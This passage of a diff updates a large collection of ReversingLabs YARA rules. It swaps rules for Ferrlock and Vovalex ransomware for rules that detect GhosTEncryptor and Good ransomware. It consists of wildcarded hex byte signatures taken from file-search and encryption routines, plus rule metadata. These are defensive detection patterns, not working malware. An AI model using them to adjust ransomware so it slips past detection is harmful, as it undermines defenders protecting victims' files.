+            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF
+            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? FF
+            75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF D6 85 C0 0F
+            84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15
+            ?? ?? ?? ?? 8B C8 F6 C1 ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 C1 E8 ?? 40 C1 E0 ?? 2B
+            C1 68 ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 6A
+            ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            8B 45 ?? 3D ?? ?? ?? ?? 0F 92 C3 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 57 6A ?? 0F
+            B6 C3 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D
+            45 ?? 50 FF 75 ?? 57 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? EB ?? 8B 75 ?? 84
+            DB 74
         }
-		$encrypt_files_p2 = {
-            89 85 ?? ?? ?? ?? 3B CF 72 ?? 8B 16 EB ?? 8B D6 8B 46 ?? 03 C2 3B CF 72 ?? 8B 0E EB
-            ?? 8B CE 3B C8 74 ?? 8B B5 ?? ?? ?? ?? 2B F1 8A 11 88 14 0E 41 3B C8 75 ?? 8D 45 ??
-            50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 75 ?? 8B F8 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            50 8D 45 ?? E8 ?? ?? ?? ?? 8B F0 8B 46 ?? 8B 56 ?? 59 59 8B 4F ?? 2B C2 3B C8 76 ??
-            8B 47 ?? 2B C1 3B C2 72 ?? 56 8B F7 E8 ?? ?? ?? ?? EB ?? 6A ?? 57 83 C8 ?? E8 ?? ??
-            ?? ?? 8B D8 8D 75 ?? E8 ?? ?? ?? ?? 8B C6 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 33 DB 53 68 ?? ?? ?? ?? 6A ?? 53 53 68 ?? ??
-            ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8
-            ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 3B F3 74 ?? 53 53 53 56
-            FF 15 ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 56 FF
-            15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 59 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3
+		$find_files = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
+            45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 74 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 68 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 06 FF
+            D7 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 90 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3
+            F6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B
+            4D ?? 6A ?? 68 ?? ?? ?? ?? E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_1_p*)) and ( all of ($find_files_2_p*)) and ( all of ($enum_resources_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ($find_files) and ($import_key) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Ferrlock : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Ghostencryptor : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Ferrlock ransomware."
+		description = "Yara rule that detects GhosTEncryptor ransomware."
 		author = "ReversingLabs"
-		id = "745ce529-46d0-56ed-a8fa-b41b26b068f4"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "9f035e39-e0fe-54f3-8206-08fbbd9206b4"
+		date = "2021-08-12"
+		modified = "2021-08-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Ferrlock.yara#L1-L131"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "b94bc77489dbb74573813631009e605bc848e17995a0a512d08b194ee3020b75"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.GhosTEncryptor.yara#L1-L69"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "85c1f6e5acf746388b0a9ddeb1f0ad1d2219fff7358c9a981849863155c13e3c"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -40921,117 +41039,60 @@ rule REVERSINGLABS_Win32_Ransomware_Ferrlock : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Ferrlock"
+		tc_detection_name = "GhosTEncryptor"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_files_p1 = {
-            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
-            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ??
-            ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF
-            75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B
-            CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B
-            43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF
-            57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33
-            C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
-            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA
-            ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB
-        }
-		$search_files_p2 = {
-            80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56
-            1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ??
-            83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ??
-            ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15
-            ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08
-            C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ??
-            80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0
-            8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
-        }
-		$enum_rsrc = {
-            6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 8D 4D ?? 83 4D ?? ?? 51 50 6A
-            ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75
-            ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? EB ?? 33 DB 39 5D ?? 7E ??
-            8D 7E ?? F7 47 ?? ?? ?? ?? ?? 74 ?? 8D 47 ?? 89 45 ?? 8B 45 ?? 8B 00 8B 48 ?? 85 C9
-            74 ?? 8B 01 8D 55 ?? 52 FF 50 ?? EB ?? FF 37 8D 4D ?? E8 ?? ?? ?? ?? 83 65 ?? ?? 8D
-            45 ?? 50 8B 45 ?? 8B 48 ?? E8 ?? ?? ?? ?? 83 4D ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 43 83
-            C7 ?? 3B 5D ?? 7C ?? 83 4D ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 56 8D 45 ?? 50 FF
-            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? C2 ?? ?? E8 ?? ?? ?? ?? CC 55 8B EC 6A ?? 68 ?? ?? ?? ??
-            64 A1 ?? ?? ?? ?? 50 56 A1 ?? ?? ?? ?? 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 83
-            65 ?? ?? 8B 4E ?? 85 C9 74 ?? 8B 11 3B CE 0F 95 C0 0F B6 C0 50 FF 52 ?? 83 66 ?? ??
-            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B E5 5D C3
+		$enum_folders = {
+            17 8D ?? ?? ?? ?? 0A 06 16 72 ?? ?? ?? ?? A2 03 28 ?? ?? ?? ?? 0B 16 0C 38 ?? ?? ?? ??
+            07 08 9A 0D 02 09 28 ?? ?? ?? ?? 2C ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 2D ?? 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 02 7B ?? ?? ?? ?? 09 72 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 09 28 ?? ?? ?? ?? 26 08 17 58 0C 08 07 8E 69 3F ??
+            ?? ?? ?? 02 7B ?? ?? ?? ?? 06 17 6F ?? ?? ?? ?? 2A
         }
-		$create_test_file_p1 = {
-            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 33 DB 8D 55
-            ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 59 8D 45 ?? C6 45 ?? ??
-            50 8D 4D ?? 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8
-            ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 CB ?? 8B 3D ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 65 ?? ??
-            8D 4D ?? 83 65 ?? ?? 56 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? FF 75 ?? 8B 45 ?? 2B 45
-            ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8B 55 ?? 8D 4D ?? 0F 43 45 ??
-            83 7D ?? ?? 0F 43 4D ?? 3B 55 ?? 75 ?? 52 50 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ??
-            ?? ?? ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ??
-            ?? 8D 4D ?? 0F 85 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 3B F7 0F 85 ?? ??
-            ?? ?? 83 7D ?? ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 43 45 ?? 33 C9 51 57
+		$encrypt_folder_p1 = {
+            1F ?? 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ??
+            ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 72
+            ?? ?? ?? ?? A2 25 1D 72 ?? ?? ?? ?? A2 25 1E 72 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ??
+            A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 72
         }
-		$create_test_file_p2 = {
-            6A ?? 51 51 68 ?? ?? ?? ?? 50 FF D6 3B C3 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83
-            7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ??
-            33 C9 51 57 6A ?? 51 51 68 ?? ?? ?? ?? 50 FF D6 8B F8 3B FB 0F 84 ?? ?? ?? ?? 6A ??
-            57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 57 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? E9 ?? ?? ?? ?? 6A ?? 58 3B F0 0F 42 F0 03 F0 56 E8 ?? ?? ?? ?? 59 6A ?? 89 85
-            ?? ?? ?? ?? 8D 45 ?? 50 56 8B B5 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 75
-            ?? 57 FF 15 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D 55 ?? 50
-            8B CE E8 ?? ?? ?? ?? 59 59 33 DB 53 53 53 57 FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75
-            ?? 56 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F 43
-            4D ?? 83 7D ?? ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 8D 4D ??
-            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C3 E8 ??
-            ?? ?? ?? C3
+		$encrypt_folder_p2 = {
+            A2 0A 03 28 ?? ?? ?? ?? 0B 03 28 ?? ?? ?? ?? 0C 16 0D 2B ?? 07 09 9A 28 ?? ?? ?? ?? 13
+            ?? 06 11 ?? 28 ?? ?? ?? ?? 2C ?? 02 07 09 9A 04 28 ?? ?? ?? ?? 09 17 58 0D 09 07 8E 69
+            32 ?? 16 13 ?? 2B ?? 02 08 11 ?? 9A 04 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 08 8E 69
+            32 ?? 2A
         }
-		$encrypt_files_p1 = {
-            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 33 F6 8D 4D ?? 89 B5
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 75 ?? 8D 4D ?? 68 ?? ?? ?? ?? 89 75 ?? 89 75 ?? E8 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 7D ?? 8B D8 8B 45
-            ?? 0F 43 7D ?? 59 3B D8 77 ?? 85 DB 74 ?? 2B C3 40 03 C7 89 85 ?? ?? ?? ?? 2B C7 50
-            6A ?? 57 EB ?? 53 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 85 ?? ??
-            ?? ?? 46 2B C6 50 6A ?? 56 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? EB ?? 2B F7 EB
-            ?? 83 CE ?? 83 FE ?? 74 ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 50 51 56 8D 4D
-            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
+		$deep_search_p1 = {
+            17 8D ?? ?? ?? ?? 0A 06 16 72 ?? ?? ?? ?? A2 7E ?? ?? ?? ?? 0B 02 0C 16 0D 38 ?? ?? ??
+            ?? 08 09 9A 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ??
+            ?? ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 11 ?? 72
         }
-		$encrypt_files_p2 = {
-            50 E8 ?? ?? ?? ?? 6A ?? 5F 89 7D ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ??
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 51 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? C6 45 ?? ?? 8B C8 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85
-            ?? ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 74 ?? 83 7D ?? ?? 8D
-            55 ?? FF 75 ?? 0F 43 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 8B 40 ?? 03 C8 8B 51
-            ?? 83 CA ?? 8B C2 0B C7 39 71 ?? 0F 44 D0 52 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 59 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$deep_search_p2 = {
+            6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 07 11 ?? 72 ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 0B 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 09 17 58 0D 09 08 8E
+            69 3F ?? ?? ?? ?? 07 06 17 6F ?? ?? ?? ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_rsrc) and ( all of ($search_files_p*)) and ( all of ($create_test_file_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($enum_folders) and ( all of ($deep_search_p*)) and ( all of ($encrypt_folder_p*))
 }
-rule REVERSINGLABS_Win64_Ransomware_Vovalex : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Good : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Vovalex ransomware."
+		description = "Yara rule that detects Good ransomware."
 		author = "ReversingLabs"
-		id = "dd4d7969-1afc-5e5d-9324-89f432523173"
-		date = "2021-03-12"
-		modified = "2021-03-12"
+		id = "e0f97200-7fe9-5811-b6cd-708ecc3a2fbc"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Vovalex.yara#L1-L81"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0c0f065224988bcba45b5aba2dceb080479b0bab235d544daabc3cae72e48318"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Good.yara#L1-L82"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6737853a77a6008f9fd2141bb6b13d595f1cb7e832be944596f709e1fcdf8003"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -41039,213 +41100,77 @@ rule REVERSINGLABS_Win64_Ransomware_Vovalex : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Vovalex"
+		tc_detection_name = "Good"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files = {
-            48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B BD ?? ?? ?? ??
-            48 89 BD ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48
-            89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48
-            8B 9D ?? ?? ?? ?? 48 8B 53 ?? 48 8B 03 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48
-            8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 83 F8 ?? 75 ?? 48 8B B5 ??
-            ?? ?? ?? 48 8B 56 ?? 48 8B 06 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 95 ??
-            ?? ?? ?? 8B 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 9D ?? ?? ??
-            ?? 48 8B 53 ?? 48 8B 03 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ??
-            ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 48 83
-            EC ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 89 9D ?? ??
-            ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 89 85 ?? ?? ?? ?? 48 89 9D ?? ?? ?? ?? 48 8D 15 ??
-            ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ??
-            48 89 8D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 9D ?? ?? ?? ??
-            48 89 9D ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 0D
-            ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 85 ?? ?? ?? ?? 48 89 95 ??
-            ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 1D ??
-            ?? ?? ?? 48 89 9D ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 89 8D ??
-            ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? B9 ?? ?? ??
-            ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4
+		$find_files = {
+            FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D
+            85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E
+            5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85 C0 75 ?? 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 FF D7 53 85
+            C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 8B 3D ?? ?? ??
+            ?? 33 C0 66 89 45 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ??
+            ?? ?? ?? ?? FF D7 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 8B D8 83 FB ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            5F 5E 5B 8B E5 5D C3
         }
